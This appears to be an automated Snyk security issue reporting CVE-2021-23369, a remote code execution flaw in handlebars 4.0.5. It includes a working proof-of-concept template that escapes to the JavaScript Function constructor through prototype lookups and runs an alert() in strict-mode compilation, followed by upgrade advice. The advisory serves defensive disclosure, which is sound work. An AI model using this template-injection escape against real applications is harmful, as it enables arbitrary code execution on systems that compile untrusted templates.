CVE-2021-23369 - high detected in handlebars['4.0.5']

[github-actions]

Package Name: handlebars
Package Version: ['4.0.5']
Package Manager: npm
Target File: package.json
Severity Level: high
Snyk ID: SNYK-JS-HANDLEBARS-1056767
Snyk CVE: CVE-2021-23369
Snyk CWE: CWE-94
Link to issue in Snyk: https://app.snyk.io/org/cse_rhicksiii91/project/14f822de-b806-4bd7-9ad2-767a7feebe1d

Snyk Description: ## Overview
handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.

POC

<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
<script> 
// compile the template 
var s = ` 
{{#with (__lookupGetter__ "__proto__")}} 
{{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}} 
{{#with ../constructor.prototype}} 
{{../../constructor.defineProperty . "hasOwnProperty" ..}} 
{{/with}} 
{{/with}} 
{{/with}} 
{{#with "constructor"}} 
{{#with split}} 
{{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}} 
{{#with .}} 
{{#with (concat (lookup join (slice 0 1)))}} 
{{#each (slice 2 3)}} 
{{#with (apply 0 ../..)}} 
{{.}} 
{{/with}} 
{{/each}} 
{{/with}} 
{{/with}} 
{{/with}} 
{{/with}} 
`;
var template = Handlebars.compile(s, { 
strict: true 
}); 
// execute the compiled template and print the output to the console console.log(template({})); 
</script>

Remediation

Upgrade handlebars to version 4.7.7 or higher.

References

• GitHub Commit